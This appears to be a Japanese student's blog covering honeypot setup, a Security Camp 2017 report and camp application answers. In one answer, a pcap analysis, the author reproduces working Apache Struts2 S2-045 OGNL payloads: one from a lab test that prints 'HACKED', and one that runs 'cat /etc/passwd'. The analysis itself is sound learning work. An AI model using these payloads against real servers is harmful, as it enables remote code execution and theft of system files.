akiranetの日々淡々と頑張っていこう

akiranetのコンピューターと遊ぶ

DionaeaFRを構築しました

Ak1raです!

前回Dionaeaを建てたので折角なら可視化したい!ということで建てました!

DionaeaFR

Dionaeaで取得したDBをWeb上で可視化してくれるツールです!

f:id:akiranet:20170901113735p:plain

DionaeaFRの構築

構築方法は、以下のサイトの通りです。

DionaeaFR - Catches bugs

bruteforcelab.com

バージョンの違いで、うまくいかないところがあるので、それを書いていこうと思います。

  • nodejs
$ sudo apt install npm
$ sudo npm install -g less
$ sudo ln -s /usr/bin/nodejs /usr/bin/node
$ pip install "Django==1.8"
  • sqlliteファイル
    logsql.sqlliteではno such table: downloadsというERRORが出ます
    自分の環境では、dixxxx.sqlliteがあったのでそっちだとERRORが消えます

  • Malware Analyzed = 0のまま
    これは、VirusTotalと連携しないといけないので、/opt/dionaea/etc//dionaea/ihandlers-enabled/virustotal.yaml/opt/dionaea/etc//dionaea/ihandlers-available/virustotal.yamlそれぞれに

- name: virustotal
  config:
    # grab it from your virustotal account at My account -> Inbox -> Public API
    apikey: "........."
    file: "@LOCALESTATEDIR@/dionaea/vtcache.sqlite"

を作る。

参照

http://enog.jp/wp-content/uploads/2015/07/ENOG33_honypot.pdf

VirusTotal — dionaea 0.6.0 documentation

gen-ius.hatenablog.com

問題

  • 左にあるサイドバーの「Connection」「Downloads」を選択するとエラーメッセージがでて表示ができない…
    • table.htmlnospacelessを消したがうまくいかない
    • data must be QuerySet-like (have count() and order_by()) or support list(data) -- DownloadFilter has neither
      • もうなんかわからない、また時間があったらやろうと思います!

ハニーポットを構築しました

Ak1raです!

マルウェア解析をしてみたい!

マルウェアどこにあるの??

ハニーポットで集めてみよう!

ということで構築しました。

ハニーポット

ハニーポットとは、セキュリティ的に脆弱性を持つサーバやネットワークを、あえてネットワークにさらす。
そしてそれを監視・調査することで、攻撃者の手法や挙動を分析できるものです。

ハニーポットの種類

  • 低対話型
    • 特定のOSやアプリケーションをエミュレートし監視を⾏う
  • 高対話型

  • クライアント型

    • 自分から悪性サイトを回って感染の有無で攻撃を検出
  • サーバ型
    • 攻撃を待ち受ける

ハニーポット構築

  • Dionaea
  • cowrie

構築方法はたくさんの参考になるところがあるので…

Dionaea

自分はDionaea公式ドキュメントを参考にしました⬇

Welcome to dionaea’s documentation! — dionaea 0.6.0 documentation

参考は⬇ sonickun.hatenablog.com

takahoyo.hatenablog.com

www.morihi-soc.net

http://enog.jp/wp-content/uploads/2015/07/ENOG33_honypot.pdf

http://www.ipa.go.jp/files/000025088.pdf

Cowrie

github.com

ecoha0630.hatenablog.com

上記ふたつを主に参考にしました。

トラフィック収集

ハニーポットがどのようなトラフィックを流したり受け入れているのか知りたかったので、tsharkを用いて回収しています。

tshark -i 1 -b duptation: 86400 -w ~/capture/test.pcap`
  • 1日毎にeth0から~/capture/test_0001_xxxxxxx.pcapに保存
    • xxxxxxは、年月日時間が書かれてる
    • 000Xが1日ごとに増えていく

今後

可視化したいので、DionaeaFRをまず構築したいと思っています!
次には、Elasticsearch, Fluentd, Kibana -> EFKの環境をDockerで構築してみたいと思います!

セキュリティ・キャンプ2017に行ってきた!!

Ak1raです!

セキュリティ・キャンプ2017全国大会に行ってきました! すごく濃い4泊5日でした。
行ってみてすごく良かったです。
ただのセキュリティ・キャンプ旅行記みたいな感じですが、軽く読んでみてくれると嬉しいです。

講義

受けた講義は、以下の感じです!

どれも僕にはとても難しくて事前課題からひぃひぃ言いながら解いていました! (講師陣やチュータさんのフォローによって解けてました)

Day0

 遊んでましたね!なんでだろう!!

Day1

無事、府中刑務ryクロスウェーブ府中に到着しました! f:id:akiranet:20170821001957p:plain

同じ研究室の同期と途中で会った@syzrtechと一緒に向かってました! @syzrtechには、僕の起床チューターとしてとてもお世話になりました…

着いた途端、名刺交換会がスタート!! twitterでフォローさせてもらってますみたいな人もちらほらいて、SNSすごいとか思ってました!!

1日目は、JPCERTの凝ったうんこの話と海外でのセキュリティ人材育成の話やサイバーディフェンス研究所フォレンジックについてのお話が聞けました!実際の現場でどのようなことが問題になっているかなどを話してくれてとてもためになりました! グループワークでは、「今後、自分たちがセキュリティ・キャンプの効果を最大化するにはどうすればいいか?」をテーマに話し合いました! ヒアルングで、企業の人やチューターの人、運営側の人と話せて面白かったです!

この日は、明日からの講義を楽しみにぐっすり寝てました

Day2

D1: Linuxカーネルを理解して学ぶ脆弱性入門

カーネルの概要、slabやメモリ構造の話、カーネルソースコードをどう読むべきか、カーネルパニックが起きた際のカーネルダンプからのcrashを用いての解析を行いました。Buddy allocatorは初めて聞いて、slabについても理解しているつもりでしたが、スライドがすごく丁寧で分かりやすかったです。 次に、Copy-on-Write(Cow)とDirty Cowについてでした。Dirty Cowとは、Read権限を持つ任意のファイルに書き込めることで、競合状態が発生し、プライベートな読み取り専用メモリマッピングが破壊され、権限昇格ができてしまう脆弱性(CVE-2016-5195)でした。 最後には、セキュリティ・キャンプ事前課題問題5のるくすさんが出した課題のことなどさまざまなことをたったの四時間でやりました… 演習問題は全く解けなくて、凄まじいという感想でした… 講師の方曰く、次の講義は鬼難しいと言われてひぃぃぃとなってました

D2~3: カーネルエクスプロイトによるシステム権限奪取

sssslide.com
まんまこれをやりました
まずメモリやカーネルの仕組み、カーネルエクスプロイトについて優しく教えてくれました!
演習からが鬼となりました..
演習1は、BadIRETでLinuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性があり、swapgs(ユーザー空間のGSとカーネル空間のGSレジスタをswapする命令)が余計に一度実行されることで、カーネルパニックが起こるというようなものです。このGSレジスタに、何かを書き込んで、netconsoleでカーネルパニックのログを見てみようというものでした。
演習2は、ブラウザエクスプロイト実践で、これがすごく難しく演習でコードを書くのが大変でした..周りの人に助けてもらいながらなんとか完成しました。 最後の演習は、「これができた人は天才です」というレベルでした。。。無理だ、難しすぎる…この時点で頭の中がパニックでした。
Brain Panic!!

この日はみんな疲れてて、グループワークには手付かず…(この時からやっておけばいいと今思うと後悔してる…)
22時頃、TwitterでA4の事前課題やっている人がいると、情報を聞きつけ向かうと仲間がいっぱいいた。
すごく助かったという記憶しかありません…
なんとか終わらせて寝たのが、1時半頃でした。。

Day3

A4: Androidマルウェアなアプリを機械学習で検知しよう!

事前課題では、Andoidのマルウェアjsonファイルを渡せれて、サンプルコードもくれて、検知率をあげてみて〜っていう事前課題でした。
当日は、各々スライドをつくって発表してねという感じで頑張ってスライドを作りみんなの前で無事発表できたときは安心しました。
事前課題では、K近傍法・Random Forest・SVMを行い、講義ではニューラルネットワークをChainerで実現し、検知しようという講義でした。
機械学習の入門としてはすごく楽しい講義で、機械学習ってこんなのなんだなって興味を持ってました。
講師の皆さん、チュータの方々、ありがとうございます!!
研究でも使えるのではないかと模索中です。

D5: The Anatomy of Malware

これは特に楽しみにしていた講義で、マルウェアを静的解析してみようという講義でした。
動的解析を軽くしてみたくらいで、実際に静的解析をしたことはなかったのでとても楽しみでした。
中津留さんがすごいという感想でした。周りの人もすごくてどんどん読み解いて行っていてすごいなと思いました。
中津留さんには、全てを読む必要はない第六感を鍛えるということで、これは数をこなさなければとすごく思いました。
今後、マルウェア解析の際にすごくためになる講義でした!!

この日は、BoFや企業プレゼンなどを聞いてました。
その後の夜はおとなしく部屋に帰り、D6の事前課題を読んで、わからない!!ってなりすぐ寝ました..

Day4

D6: LSMから見た Linux カーネルのセキュリティ

熊猫先生による講義です!事前課題ではプログラミング力の無さを実感しつつも、フォローしてくれたため、なんとかPart3までは終わらせることができていました。
Clam Antivirus(clamav)に渡すことでオンアクセススキャンを実装するという講義で、サンプルコードがあったので、それを読みながらなんとなく理解できたレベルでした。
ただ、必死にプログラムを読んだり書くことが少し楽しくなりました..

B7: 組込みリアルタイムOSとIoTシステム演習

最初は、GR-PEACHを用いて、何か機能を実装するのかと思いきや、、、、
ロボットカーを用いて、何でもありの勝負でした。勝敗はフィールド上の箱を場外に落としたり、カメラでフィールド内のシールを撮ったりで点数を競います。僕達のチームは、真面目にWebUIで操作するので、そこにパスワードをかけたりスピードを調整したりしてました。
しかし、勝負開始前から勝負は始まっていました…
他のチームのロボットカーがすでに何者かに操作され、落とされていました。これは酷い!鬼畜!! 勝負が始まりましたが、操作をスクリプト化したチームや、ARPパケットひたすら流したり、HTTPリクエストひたすら送ったりと様々な手法でやっていて、すごく白熱していました。
僕たちのチームは0点ですごく悔しかったのですが、ネットワークを制すれば、ツヨイのではないかと思い、ネットワークプログラミングに興味が出てきました。

この後、二度目の企業プレゼンがあり聞きました。

グループワーク後、毎年恒例の講師陣方からの本プレゼント大会!!!(正式名称知らない…)
だがしかし!!
司会のお姉さまによる若手たちに譲るという大人の対応をお願いしますということで。。。。
特にお目当ての本はもらえず。。。おっさん大人たちと慰め合いました.

Day4では、流石にグループワークが進まなかったので、ナイトプールで意識高めに作業していました。
その後、一人の部屋に集まり、2:30くらいには寝ました!!
f:id:akiranet:20170821012208j:plain f:id:akiranet:20170821012147j:plain

Day5

最終日でした。
みんなにも疲れが見えていて、何人か寝坊がいました
最後はグループワークの発表、各トラックの成果報告、閉会式と行われました。
グループワークでは、無理やり発表者にさせてもらって、発表しました笑(本当は、ランダムで決めた後にやりたいと言い出した人です…)
発表の練習をしていなかったせいか、時間配分をミスり、エヴァゲリオンのBGMを流す唯一の班になってしまった…

しかもエヴァゲリオンのBGM終了ピッタシに終わることができ、拍手が起きて正直楽しかったです!!

最後の集合写真を撮り終わり、解散となりました。
最後にぱっしゃと。
f:id:akiranet:20170821012154j:plain

酒リティキャンプに行きたかったが、次の日も朝早いし、荷物おもすぎて辛くなったので先に失礼した。。
今思うと行けばよかったと後悔しておりますorz

感想

 まずは、私をセキュリティ・キャンプに参加させてくれた運営側に感謝を。そしてセキュリティ・キャンプを知るきっかけを作ってくれた同じ大学の先輩や同期に感謝しています。そして私が特に思ったのは、力不足です。毎回このような場に行くと実感します。とても悔しかったです。  ただ今回のキャンプは、私にとってきっかけづくりでもあるのかなと今では思います。レベルを実感し、どこに向かえばいいか、など考えるきっかけになりました。すごく勉強になりました。  講義中はわからないことだらけで、今もう一度講義資料を見て1人で解けるかは正直微妙です。ですが、諦めずにできるところまではやってみようと思います。知らないことを学んで楽しめる人間になっていきたいです。  勉強になった以外ににもすごく楽しかったです。同じ興味を持つ人、知らないことを丁寧に教えてくれる人、抽象的な質問にも丁寧に答えてくれる講師やチューターの皆さん、お話していてとても楽しかったです。  今回のキャンプを糧?にして、これからも精進して行きたいと思いました。

おまけ

セキュリティ・キャンプ応募用紙

Ak1raです。

セキュリティ・キャンプ2017に受かったので、後輩や今後の参考になればと思いあげさせてもらいます。 特に問題の回答などは、あっている保証はございません。 ブログに書いておいて、こんな時期もあったなーって振り返れればいいと思ってます。

書いているのはキャンプ修了後に書いています…
ぜひ来年応募してみてください!

www.ipa.go.jp

応募用紙

■はじめにお読みください 設問は、【設問1 応募者に関する設問】、【共通問題】、【選択問題】で構成されます。なお、共通問題と選択問題の記述回答は、10,000字まで入力が可能です。 ※回答の締め切りは、【2017年5月29日(月) 正午】です。再回答を含め、締め切りまでに回答を送信してください。 ※このページは60分程度でセッションが切断され、入力内容が無効となります。回答内容は応募者ご自身が適宜保存しながら回答するよう、ご注意ください。

特に、 1万 文字に気を付けてください!!!問題によっては、10000字なんてよゆry 舐めた事言いました、すいません。

共通問題

共-1(1)

あなたが今まで作ってきたものにはどのようなものがありますか? いくつでもいいので、ありったけ自慢してください。

ここは冬のインターン先でやったことや学校の実験、研究室のプロジェクトで作ったもの、趣味で作ったSlack Botを書きました。機能はこれ作ったぜ!とかこれのここがすごいとか書けばいいと思います!! ちょっとインターンのは書いていいのかわからないので、ここには書きません。

共-1(2)

それをどのように作りましたか? ソフトウェアの場合には、どんな言語で作ったのか、どんなライブラリを使ったのかなども教えてください。 追加したい機能や改善の案があれば、それも教えてください。

Rubyの〇〇をつかったとか、Hubotを使ってSlack Botを作った!など書きました。プロジェクトでは、Herokuやnodejs使った!とかそんなこと書きました… 実験で、ラジオやゲーム作ったなど書きました!

共-1(3)

開発記のブログ、スライドなどの資料があれば、それも教えてください。コンテストなどに出品したことがあ れば、それも教えてください。

このブログやGithubですね..

共-2(1)

あなたが経験した中で印象に残っている技術的な壁はなんでしょうか? (例えば、C言語プログラムを複数ファイルに分割する方法など)

新言語取得・プログラム作成やデバッガや逆アセンブルで処理を見るとき

共-2(2)

また、その壁を乗り越えるためにとった解決法を具体的に教えてください。 (例えば、知人に勧められた「○○」という書籍を読んだなど)

本家ドキュメントを見ることや、デバッガを使ったり逆アセンブルすることやチュートリアルを試すなどすることを書きました! いろいろな言語を書いていたので、それを取得するのが難しいとか書きました…

共-2(3)

その壁を今経験しているであろう初心者にアドバイスをするとしたら、あなたはどんなアドバイスをします か?

最初はわからないことだらけだけれども,ググる習慣を身につける.その調べることに関連する本を読む.ググってわからなければ, 自分の周りの優秀な人に質問してみる.いなければstackoverflowやyahoo!知恵袋でもいいから質問する意気込みを持つ.ググっていて見つけた情報は自分の今後でも役立つので,メモを取る習慣をつける.早くその問題を解決することは大切だが, 今だけを見るのではなく今後にも役立つと考えながら取り組んでほしいです.また,英語サイトで英語だからとプログラムを勉強始めた当初は避けていたが,英語サイトを避けていてはプログラムを書くことでもエラーを解決するときでも英語が読めなければわからないことが多くあるので,英語を避けないでほしいです.またエラーメッセージをよく読んで, 諦めないで解決しようという気持ちを持つことが大切だと思います.わからないことをわからないで終わらせず,分かる人に聞くことをためらわないでほしいです.わからないことがあることは当たり前で,それを教えてくれる人がいる環境は素晴らしいと思います.ただ質問する際は, 何がわからないのか, 自分だったらどういう解決方法が思いつくかなど考えてから質問するより有意義な時間にできると思います.

共-3(1)

あなたが今年のセキュリティ・キャンプで受講したいと思っている講義は何ですか?(複数可) そこで、どのようなことを学びたいですか?なぜそれを学びたいのですか?

私はセキュリティキャンプでは以下の講義を受講したいと考えています.理由は2点あります.1つ目は,私は自分で独学する際.本やインターネットを参考にし,勉強しますが人の記憶力には限界があり,忘れてしまうので実際に手を動かしメモを取るようにしています.そうすることで,インプットとアウトプットがしやすくなると思っています. そのことから,私はなるべく手を動かし学べる講義を中心に選びました.2つ目は,マルウェア解析や低レイヤーに興味はあるものの中々低レイヤーに手を出せずにいました.そこでプログラムを少しでも書けるようになれたらとWebアプリケーションを作って,勉強していました.しかし, 今回のセキュリティキャンプに参加することで, 低レイヤーを勉強していくきっかけにし,今後も引き続き低レイヤーの勉強をし続けたいと思い,今回は低レイヤーに関連する講義を受講したいと思っています.また講義名の下に参加理由を書きました.

[D-1] Linuxカーネルの理解して学ぶ脆弱性入門  マルウェアに調べている際, マルウェア解析環境を検知するマルウェアが存在し,そのマルウェアシステムコールデバイスドライバによってマルウェア解析環境を検知しています.しかし,私はLinuxカーネル空間の仕組みをよく理解できていません.そこで講義の説明にもある通り,Linuxの内部構造を知ることで基本を理解することで,応用が効くようになると私も考えているので, この講義に参加したいです.

[D2-3] カーネルエクスプロイトによるシステム権限奪取  この講義では,OS自体の脆弱性を利用したシステム権限を奪うということで,まるでハッキングかのような行為を体験できることを魅力に感じています.またOSの脆弱性だけでなく,プラウザ脆弱性に対する攻撃も行うということで,実際に攻撃の流れ・方法がわかれば,自分が興味を持っているマルウェア解析に役立てると思っています.この講義を通して実際のハッキング手法を見ることで, どこの脆弱性を利用しどのように侵入されてシステム権限を奪取されるまでの流れを見て,どこをどのように対策すべきかを考える良い機会だと思い,参加したいです.   [D4] マルウェア×機械学習  私はネットワークセキュリティ研究室で, 「ボットネット」に関する研究をしていこうと考えています.その研究の際,機械学習を用いることで,トラフィックの解析やボット検知に役立つのではないかと考えています.また,マルウェア検知に機械学習を利用した検知ロジックも商用化されているということで,私は全く機械学習に触れたことがないのですが,今回機械学習ついて知ることで今後に活かせるのではと思っています.またこの講義はハンズオンということで,実際に手を動かして機械学習を学べるいい機会であり,この講義を受講したいです.

[D5] The Anatomy of Malware  マルウェア解析に興味がありますが, 実際にマルウェアを解析してみるといまいちどこを読むべきか,この処理は何をしているのか分からないことだらけでした. そこでこの講義に参加することで, マルウェア解析に詳しい技術者とともにマルウェアの逆アセンブルコードを読み解くことで静的解析のコツや現状の課題を理解できるようになりたいです.また,マルウェアの逆アセンブルコードを(効率良く)ひたすら読むことができるということで,今後の自分が興味持っているマルウェア解析に対して,効率よく分析が1人でできるようになれるよう精一杯頑張りたいです.

[E6-7] インシデントレスポンスで攻撃者を追いかけろ  私は,マルウェア解析に興味を持っていて,インシデントレスポンスに於ける解析において,マルウェア感染元のファイルや攻撃者が作成した悪意のあるプログラムを解析することで,攻撃手法の特定やC2サーバーのドメイン名の特定やデジタルフォレンジックやログ解析から攻撃者の攻撃状況を分析するための解析技術について学習できるということで,実際に攻撃手法や攻撃者の特定が簡単なものでもできるようになることで,今後自分が研究したいと思っている「ボットネット」の研究にも活かせることと将来的にセキュリティに関する仕事につきたいと考えていて,今のうちにインシデントレスポンスにおける必要な解析技術を身につけることでよりよりセキュリティのスペシャリストになれると思い,この講義を受講したいです.

※ ちなみにここで取りたいって言った講義以外も取れるので、ここで悩まず選択問題で悩みましょう!!

共-3(2)

あなたがセキュリティ・キャンプでやりたいことは何ですか? 身につけたいものは何ですか?(複数可) 自由に答えてください。

1つめは, 自分の力を試してみたいことです. すでに自分の知識不足は実感していますが, セキュリティキャンプに参加することで,自分の知識がどこまで通じるのか,どこが足りないのか, どこを改善すべきなのか, これから自分はどのように勉強していけばより知識を蓄えるのに効率が良く,アウトプットのできるエンジニアになるかを考える機会になればと思っています.  2つめに, 講義を通して様々な知識を身に着け,自分の視野を広げたいです. 私は趣味でChatbotやDocker, Webアプリケーションは勉強していますが, ネットワークプログラミングやアセンブリ言語は授業や独学で少しやったくらいで詳しくわかりません. また低レイヤーは自分にとって勉強していくのにどうすればよいかよくわかっていません. そこで今回のセキュリティキャンプを通し, カーネルやOS, コンテナ技術,そこらの脆弱性などの低レイヤーの知識を身につけ, セキュリティキャンプ後の勉強に活かしたいです.加えて, それらの知識を自分のみで収めるのではなく, 研究室の後輩や様々な人にアウトプットしていくことでセキュリティやその関連技術に興味をもってもらえるように頑張りたいです. 具体的には定期的に研究室や外部の勉強会に参加し,アウトプットとして発表し,議論を交わすことで自分の分からない事を補完し, わからない人にわかりやすく説明できるようになりたいです. そのためにも今回の講義を聞いて, どのように説明するのがわかりやすく, どのようにアウトプットしているのかなども講師陣の方々に聞いてみたいです.  3つめは, このキャンプに参加し,コミュニティを増やしたいです. 人の輪を広げることで, 自分のわからないことを質問し, 自分が考えていること・意見について正しいのか,また自分が考えていること以外の新たな視点をもらえると思っています. また,セキュリティキャンプには多くの社会人や同世代の優秀な人が多くいるので,自分が疑問に思っていることや自分では気づかない点などを教えてもらい,自分の知識や視点に取り込めるように頑張りたいです.参加した暁には,いろいろな人にコミュニケーションをとり,人脈を広げたいです.

選択問題

問題1

添付したファイルに記録された通信を検知しました。この通信が意図とするものは何か?攻撃であると判断された場合、何の脆弱性を狙った攻撃か?通信フローに欠けているがあるがどのような内容が想定されるか?

1.今回の脆弱性とそれを利用した攻撃の検証  これは,Apache Struts2における脆弱性(S2-045)を利用した攻撃.影響を受けるバージョンとしては,Struts2.3.5 ~ 2.3.31,Struts2.5 ~ 2.5.10である.これはApache Struts2のデフォルトで使われているJakarta Multipart parser の処理に起因し,第三者によって細工されたリクエストを処理することで,アプリケーションの権限で任意のコードを実行可能な脆弱性である.具体的には,「Content-Type」, 「Content-Length」,「Content-Disposition」の値を利用した攻撃コードがある.この脆弱性の対策としては,この脆弱性の対策をされたバージョンにアップデートする・パーサーをJakarta Multipart parser以外に実装・リクエストに疑わしい値を含むものを検証、破棄するサーブレットフィルタの3点がある.
 今回この脆弱性の検証環境を作って,脆弱性を突いた攻撃を検証しました.以下に手順を示す.
・検証環境
OS: OS X Yosemite バージョン:10.10.4
ゲストOS: Ubuntu 14.04 LTS (IPアドレス: 192.168.99.10)
UbuntuにてDocker
構築手順
http://io.cyberdefense.jp/entry/2016/06/22/Docker%E3%82%92%E4%BD%BF%E3%81%A3%E3%81%A6%E3%80%81Apache_Struts2%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7S2-037%E3%81%AE%E3%82%84%E3%82%89%E3%82%8C%E7%92%B0%E5%A2%83%E3%82%92%E6%89%8B%E8%BB%BD%E3%81%AB%E4%BD%9C

・実験手順
 今回「Content-Type」に攻撃コードを入れて,どのように変化があるかを調べました.そのためにChromeウェブストアにある「Advanced REST client」を用いました.URL(http://192.168.99.10:8080/struts2-rest-showcase/orders.xhtml)を指定して,
(i)「Content-Type」に攻撃コードを入れずに,GETメソッドでリクエス
(ii)GETメソッドにて,「Content-Type」に「{(#test=‘multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#memberAccess?(#memberAccess=#dm):*1.(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(“HACKED")).(#ros.flush())}」の2点を観察し,(i)の結果はURLのHTMLのコードが返ってきました.(ii)の結果は「HACKED」と表示できる.

2. 問題の「pcap」ファイルについて分析
 問題の「pcap」ファイル「q1.pcap」について分析します.添付ファイルの「q1.pcap」を「WireShark」と呼ばれるGUIのパケット取得・プロトコル解析ソフトを用いて,通信の詳細を見てみました.「192.168.74.1」「192.168.74.130」というアドレスがあった.今回それぞれをクライアント,サーバーとする.以下に,通信の流れを示します.  まずNo.1~No.3について説明します.No.1では,クライアントからサーバーにSYN(Seq=0,Len=0)をポート番号:55522からポート番号:8080に送る.No.2では,サーバーからクライントにSYN, ACKをポート番号:8080からポート番号:55522に送る.No.3では,クライアントからサーバーにACK(Seq=1,Ack=1,Len=0)をポート番号:55522からポート番号:8080に送る. 以上のことから,スリーウェイハンドシェイクによってポート番号:55522とポート番号:8080の通信を確立している.ACK番号とは,「シーケンス番号+受信したデータサイズ」であり,つまり「次受信するセグメントのシーケンス番号を送信元に伝える」こととなっている.  No.4について説明します.HTTPプロトコルの通信を行っていて,「GET /struts2-rest-showcase/order.xhtml HTTP/1.1」であった.これは上記で説明した「Apache Struts2」の脆弱性で、「Content-Type」を細工したリクエストをGETメソッドで送って任意のコードを実行する攻撃である.HTTPヘッダのUser-AgentとContent-Typeを以下に示す.

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0
Content-Type: Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

 Content-Typeについて,「#cmd=‘cat /etc/passwd’」を実行している.「/etc/password」には,ユーザー名やパスワードなどがある.また,「(#cmds=(#iswin?{'cmd.exe’,‘/c’,#cmd}:{‘/bin/bash’,‘-c’,#cmd}))」によってWindowsでもLinuxでもコマンドが動くようにしている.さらに,「User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0」を見ると,MACOSXFirefoxからアクセスしていると推測できる.加えてEthernetヘッダを見ると,クライアント・サーバーともにアドレスが「VM Ware」となっていた.TCPヘッダを見てみると,Next Sequence Number: 1093となっているので,次の通信はACK=1093だと思われる.  No.5について説明します.サーバーからクライアントにACKを送っている.このことから,No.4のパケットを受信したことを示していると考えられる.  No.6,No.7,No.10,No.13,No.14について説明します.クライアントのポート番号:53653,サーバーのポート番号:22に通信している.ポート番号:22といえば,ウェルノウンポートであり「SSH」である.これらのパケットは,ACK番号の値が増えているだけである.  No.8とNo.9について説明します.どちらも「TCP Acked unseen argument」である.そこで検証環境にてHTTP通信を見たところ,[TCP segment of a reassembled PDU]がサーバーからクライアントに2回で送られます.データがすべて受信できたら,クライントからサーバーへ[ACK]を返します.その後,検証環境ではサーバーからクライアントへ「HTTP/1.1 200 OK (text/html)」を送信するはずである.それをクライントが受信したら,クライアントからサーバーに[ACK]を返している.また検証環境でHTTP通信を切断するパケットを「Wireshark」で観察しました.サーバーからクライアントへFIN,ACKが送ります.次にクライアントからサーバーへACK,FIN,ACKと通信していました.そのことから,No.8・No.9では,サーバーからクライアントへFIN,ACKのパケットが欠けていると想定できます.  No.11について説明します。「TCP Previous segment not captured」と表示されていた.これは,No.11の1個前のセグメントが見えていないという意味です.サーバーからクライアントへのACKの通信が欠けていると思われる.  No.12について説明します.これは,No.11の返信のACKであると思われる.またNo.8,No.9と同様に,「TCP ACKed unseen argument」と表示されている.これは,N0.11で欠けているといった通信のためのBad TCPであると考えました.

3. 分析結果からの疑問に思ったこと  2.での分析結果から,疑問に思ったことを以下に示します. (i) HTTPの応答がない。(例: 200 OK) (ii) SSHのポートへ何度もACKを送っていて,Ack番号が増えている. (iii) EtherヘッダーとHTTPのUser-Agentの違い(今回は、VMWareとMac OSX&FireFox)  (i)について考えます.上記の検証環境にて,HTTPの正常な通信について検証したのでその通信の一部を以下に示します.

[No] [Time] [Source] [Destination] [Protocol] [Length] [Info]
16  23.560088 192.168.99.1 -> 192.168.99.10 HTTP 602 GET /struts2-rest-showcase/orders.xhtml HTTP/1.1
 17  23.560425 192.168.99.10 -> 192.168.99.1 TCP 66 8080→63738 [ACK] Seq=1 Ack=537 Win=30080 Len=0 TSval=11347135 TSecr=722458378
 18  24.553181 192.168.99.10 -> 192.168.99.1 TCP 74 [TCP Spurious Retransmission] 8080→63739 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=11347384 TSecr=722458375 WS=64
 19  24.553255 192.168.99.1 -> 192.168.99.10 TCP 66 [TCP Dup ACK 9#1] 63739→8080 [ACK] Seq=1 Ack=1 Win=131744 Len=0 TSval=722459366 TSecr=11347384
 20  24.753343 192.168.99.10 -> 192.168.99.1 TCP 74 [TCP Spurious Retransmission] 8080→63740 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=11347434 TSecr=722458376 WS=64
 21  24.753493 192.168.99.1 -> 192.168.99.10 TCP 66 [TCP Dup ACK 12#1] 63740→8080 [ACK] Seq=1 Ack=1 Win=131744 Len=0 TSval=722459563 TSecr=11347434
 22  24.953430 192.168.99.10 -> 192.168.99.1 TCP 74 [TCP Spurious Retransmission] 8080→63741 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=11347484 TSecr=722458377 WS=64
 23  24.953486 192.168.99.1 -> 192.168.99.10 TCP 66 [TCP Dup ACK 15#1] 63741→8080 [ACK] Seq=1 Ack=1 Win=131744 Len=0 TSval=722459761 TSecr=11347484
 24  26.831344 192.168.99.10 -> 192.168.99.1 TCP 1514 [TCP segment of a reassembled PDU]
 25  26.831349 192.168.99.10 -> 192.168.99.1 TCP 1514 [TCP segment of a reassembled PDU]
 26  26.831397 192.168.99.1 -> 192.168.99.10 TCP 66 63738→8080 [ACK] Seq=537 Ack=2897 Win=128864 Len=0 TSval=722461628 TSecr=11347953
 27  26.831492 192.168.99.10 -> 192.168.99.1 HTTP 890 HTTP/1.1 200 OK  (text/html)     

正常なHTTP通信ならば,「GET /struts2-rest-showcase/order.xhtml HTTP/1.1」→「HTTP/1.1 200 OK (text/html)」と応答がある.しかし問題のpcapでは応答がないので, サーバ側までGETメソッドのリクエストが届いていないことと,クライアント側に,データが届いていない,もしくは送っていないと推測できます.問題のpcapでは,No.4のHTTPリクエスト後のNo.5にて,サーバーからクライアントへ[ACK]を返している.これは,リクエストが届いていることを示している.検証環境でも同じ結果となった.次に,検証環境では「GETリクエスト->サーバーからクライアントへ[ACK]」の後に,[TCP segment of a reassembled PDU]でサーバーからクライアントへデータを送っているが問題にはない.検証環境では,それらのデータを受信したらクライアントからサーバへデータが受信できたと[ACK]を返します.しかし問題のpcapではありません.従って,サーバーからクライアントへデータが送られていないと推測できる.  (ii)について考えます.まずはじめは,SSHのポート番号が22番ではなく違うポート番号になっているから,[ACK]の返答が返って来ないと考えました. WireSharkを起動し,Macと仮想環境のUbuntuとの通信を解析し通信の一部を示す.

[No] [Time] [Source] [Destination] [Protocol] [Length] [Info]
1   0.000000 192.168.99.1 -> 192.168.99.10 TCP 78 64278→22 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=32 TSval=724241520 TSecr=0 SACK_PERM=1
2   0.000368 192.168.99.10 -> 192.168.99.1 TCP 74 22→64278 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=11795241 TSecr=724241520 WS=64
  3   0.000417 192.168.99.1 -> 192.168.99.10 TCP 66 64278→22 [ACK] Seq=1 Ack=1 Win=131744 Len=0 TSval=724241520 TSecr=11795241
  4   0.000912 192.168.99.1 -> 192.168.99.10 SSH 87 Client: Protocol (SSH-2.0-OpenSSH_6.2)
